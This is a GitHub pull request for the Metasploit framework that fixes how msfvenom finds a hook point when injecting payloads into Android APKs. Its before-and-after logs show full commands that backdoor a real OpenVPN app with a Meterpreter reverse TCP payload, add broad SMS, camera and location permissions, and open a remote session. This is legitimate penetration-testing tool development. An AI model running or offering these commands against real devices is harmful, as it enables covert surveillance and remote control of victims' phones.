Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Msf::Payload::Apk: find_hook_point: Return full packagename.classname #16358

Merged
merged 1 commit into from
Mar 21, 2022

Conversation

bcoles
Copy link
Contributor

@bcoles bcoles commented Mar 18, 2022

Ensure the find_hook_point method always returns the full class name including the package name.

Most APK files define an application name including the full package name in AndroidManifest.xml, like this:

<application android:name="com.nvidia.tegrazone.TegraZoneApplication" [...]

When using a template APK file with msfvenom, the backdoor_apk method uses the full application name (including package name) when locating the smali class file (after converting . to /) like so:

com/nvidia/tegrazone/TegraZoneApplication.smali

However, some APK files define an application name using only the class name without the full package name. For example:

<application android:name=".OpenVPNApplication" [...]
<application android:name="TodoistApplication" [...]

backdoor_apk the attempts to locate the smali class file like so:

/OpenVPNApplication.smali

Dir.glob is used to find the class file in ./smali*/ directories within the decompiled APK directory; however, the search is not performed recursively, which prevents locating the smali file when short package names are used, as the class file is several directories deep.

This PR resolves this issue by ensuring that find_hook_point returns the full package name and class name.

It also checks !File.symlink? to prevent following symlinks - an oversight in the original code.

It also ensures find_hook_point returns nil in the event that no hook points are found. Previously it would incorrectly and unintentionally return a Nokogiri::XML object which lead to confusing XML error messages while trying to locate the smali class file - an oversight in the original code.

Fixes #13533. The issue originally described an issue when using the Netflix apk as a template. This PR fixes this issue, but another issue prevents rebuilding the Netflix apk.

Instead, this PR was tested using OpenVPN Connect – Fast & Safe SSL VPN Client 1.1.16 (arm64-v8a + arm + arm-v7a) (nodpi) (Android 4.0+).apk from apkmirror. Use at own risk.

Before

# ./msfvenom -x 'OpenVPN Connect – Fast & Safe SSL VPN Client 1.1.16 (arm64-v8a + arm + arm-v7a) (nodpi) (Android 4.0+).apk'  -p android/meterpreter/reverse_tcp LHOST=192.168.200.130 LPORT=4444 -o asdf.apk 
/usr/lib/ruby/2.7.0/timeout.rb:50: warning: already initialized constant Timeout::THIS_FILE
/var/lib/gems/2.7.0/gems/timeout-0.2.0/lib/timeout.rb:53: warning: previous definition of THIS_FILE was here
/usr/lib/ruby/2.7.0/timeout.rb:51: warning: already initialized constant Timeout::CALLER_OFFSET
/var/lib/gems/2.7.0/gems/timeout-0.2.0/lib/timeout.rb:54: warning: previous definition of CALLER_OFFSET was here
Using APK template: OpenVPN Connect – Fast & Safe SSL VPN Client 1.1.16 (arm64-v8a + arm + arm-v7a) (nodpi) (Android 4.0+).apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[*] Creating signing key and keystore..
[*] Decompiling original APK..
[*] Decompiling payload APK..
[*] Locating hook point..
Error: Unable to find hook point in /tmp/d20220318-763822-b0zsjd/original/smali*//OpenVPNApplication.smali

After

# ./msfvenom -x 'OpenVPN Connect – Fast & Safe SSL VPN Client 1.1.16 (arm64-v8a + arm + arm-v7a) (nodpi) (Android 4.0+).apk'  -p android/meterpreter/reverse_tcp LHOST=192.168.200.130 LPORT=4444 -o asdf.apk 
/usr/lib/ruby/2.7.0/timeout.rb:50: warning: already initialized constant Timeout::THIS_FILE
/var/lib/gems/2.7.0/gems/timeout-0.2.0/lib/timeout.rb:53: warning: previous definition of THIS_FILE was here
/usr/lib/ruby/2.7.0/timeout.rb:51: warning: already initialized constant Timeout::CALLER_OFFSET
/var/lib/gems/2.7.0/gems/timeout-0.2.0/lib/timeout.rb:54: warning: previous definition of CALLER_OFFSET was here
Using APK template: OpenVPN Connect – Fast & Safe SSL VPN Client 1.1.16 (arm64-v8a + arm + arm-v7a) (nodpi) (Android 4.0+).apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[*] Creating signing key and keystore..
[*] Decompiling original APK..
[*] Decompiling payload APK..
[*] Locating hook point..
[*] Adding payload as package net.openvpn.openvpn.lqzcf
[*] Loading /tmp/d20220318-763183-qj9zz0/original/smali/net/openvpn/openvpn/OpenVPNApplication.smali and injecting payload..
[*] Poisoning the manifest with meterpreter permissions..
[*] Adding <uses-permission android:name="android.permission.RECEIVE_SMS"/>
[*] Adding <uses-permission android:name="android.permission.RECORD_AUDIO"/>
[*] Adding <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
[*] Adding <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
[*] Adding <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
[*] Adding <uses-permission android:name="android.permission.WAKE_LOCK"/>
[*] Adding <uses-permission android:name="android.permission.READ_CALL_LOG"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
[*] Adding <uses-permission android:name="android.permission.CALL_PHONE"/>
[*] Adding <uses-permission android:name="android.permission.SEND_SMS"/>
[*] Adding <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
[*] Adding <uses-permission android:name="android.permission.RECORD_AUDIO"/>
[*] Adding <uses-permission android:name="android.permission.READ_CONTACTS"/>
[*] Adding <uses-permission android:name="android.permission.READ_SMS"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
[*] Adding <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
[*] Adding <uses-permission android:name="android.permission.SET_WALLPAPER"/>
[*] Adding <uses-permission android:name="android.permission.CAMERA"/>
[*] Rebuilding apk with meterpreter injection as /tmp/d20220318-763183-qj9zz0/output.apk
[*] Aligning /tmp/d20220318-763183-qj9zz0/output.apk
[*] Signing /tmp/d20220318-763183-qj9zz0/aligned.apk with apksigner
Payload size: 2340848 bytes
Saved as: asdf.apk
msf6 exploit(multi/handler) > 
[*] Sending stage (78153 bytes) to 192.168.200.135
[*] Meterpreter session 4 opened (192.168.200.130:4444 -> 192.168.200.135:33148 ) at 2022-03-18 05:06:34 -0400

msf6 exploit(multi/handler) > 
msf6 exploit(multi/handler) > sessions -i 4
[*] Starting interaction with 4...

meterpreter > getuid
Server username: u0_a154
meterpreter > pwd
/data/user/0/net.openvpn.openvpn/files
meterpreter > 

@timwr
Copy link
Contributor

timwr commented Mar 19, 2022

Is the class not guaranteed to be packagename.classname if it's been shortened (e.g class name only, prepended with a .)?
Happy the merge this (it definitely fixes the issue), but I suspect the above is true, in which case the recursive search seems unnecessary. Can you find an APK where the above is not true?

@bcoles
Copy link
Contributor Author

bcoles commented Mar 19, 2022

Is the class not guaranteed to be packagename.classname if it's been shortened (e.g class name only, prepended with a .)? Happy the merge this (it definitely fixes the issue), but I suspect the above is true, in which case the recursive search seems unnecessary. Can you find an APK where the above is not true?

What? See: #16358 (comment)

Edit: Oh right, the package name. Yeah that should work.

@bcoles bcoles changed the title Msf::Payload::Apk: Search recursively for hookable smali class file Msf::Payload::Apk: find_hook_point: Return full packagename.classname Mar 19, 2022
@bcoles bcoles force-pushed the payload-apk-hook branch 3 times, most recently from 1b38291 to b578ff7 Compare March 19, 2022 20:04
@bcoles
Copy link
Contributor Author

bcoles commented Mar 19, 2022

Is the class not guaranteed to be packagename.classname if it's been shortened (e.g class name only, prepended with a .)?

I wouldn't call it a guarantee when dealing with random untrusted APK files, but yes, packagename.classname should always be correct for short classnames.

I've updated find_hook_point to ensure the hook point includes both the package name and class name.

Also we blindly trust the application name and package name, so it is likely that this allows directory traversal, mitigated in part by appending .smali at time of use.

the recursive search seems unnecessary.

It turns out that the recursive search approach resolved multiple issues.

Application names can be in the form of packagename.classname, .classname and classname.

Activity names can be in the form of packagename.classname and classname. They can likely also be in the form of .classname but I haven't found any APKs in the wild which do this.

I've updated the PR to normalize application names and activity names instead of using the recursive approach.

@timwr timwr self-assigned this Mar 21, 2022
@timwr
Copy link
Contributor

timwr commented Mar 21, 2022

Before

$ msfvenom -x net.openvpn.openvpn.apk -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o vpn.apk
Using APK template: net.openvpn.openvpn.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[*] Creating signing key and keystore..
[*] Decompiling original APK..
[*] Decompiling payload APK..
[*] Locating hook point..
Error: Unable to find hook point in /tmp/d20220321-19960-sbn8q7/original/smali*//OpenVPNApplication.smali

After

$ msfvenom -x net.openvpn.openvpn.apk -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o vpn.apk
Using APK template: net.openvpn.openvpn.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[*] Creating signing key and keystore..
[*] Decompiling original APK..
[*] Decompiling payload APK..
[*] Locating hook point..
[*] Adding payload as package net.openvpn.openvpn.jvzwx
[*] Loading /tmp/d20220321-21478-7u6dlp/original/smali/net/openvpn/openvpn/OpenVPNApplication.smali and injecting payload..
[*] Poisoning the manifest with meterpreter permissions..
[*] Adding <uses-permission android:name="android.permission.READ_SMS"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
[*] Adding <uses-permission android:name="android.permission.CALL_PHONE"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
[*] Adding <uses-permission android:name="android.permission.READ_CONTACTS"/>
[*] Adding <uses-permission android:name="android.permission.SEND_SMS"/>
[*] Adding <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
[*] Adding <uses-permission android:name="android.permission.WAKE_LOCK"/>
[*] Adding <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
[*] Adding <uses-permission android:name="android.permission.CAMERA"/>
[*] Adding <uses-permission android:name="android.permission.RECEIVE_SMS"/>
[*] Adding <uses-permission android:name="android.permission.SET_WALLPAPER"/>
[*] Adding <uses-permission android:name="android.permission.RECORD_AUDIO"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
[*] Adding <uses-permission android:name="android.permission.RECORD_AUDIO"/>
[*] Adding <uses-permission android:name="android.permission.READ_CALL_LOG"/>
[*] Adding <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
[*] Adding <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
[*] Adding <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
[*] Rebuilding apk with meterpreter injection as /tmp/d20220321-21478-7u6dlp/output.apk
[*] Aligning /tmp/d20220321-21478-7u6dlp/output.apk
[*] Signing /tmp/d20220321-21478-7u6dlp/aligned.apk with apksigner
Payload size: 2340848 bytes
Saved as: vpn.apk

@timwr timwr merged commit a4956bf into rapid7:master Mar 21, 2022
@timwr
Copy link
Contributor

timwr commented Mar 21, 2022

Release notes

This change fixes a bug in the msfvenom APK injection code, where in some situations a suitable hook point could not be found.

@timwr timwr added the rn-fix release notes fix label Mar 21, 2022
@timwr
Copy link
Contributor

timwr commented Mar 21, 2022

Thanks @bcoles!

@bcoles bcoles deleted the payload-apk-hook branch March 21, 2022 07:53
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

Successfully merging this pull request may close these issues.

Error: Unable to find hook point on APK
2 participants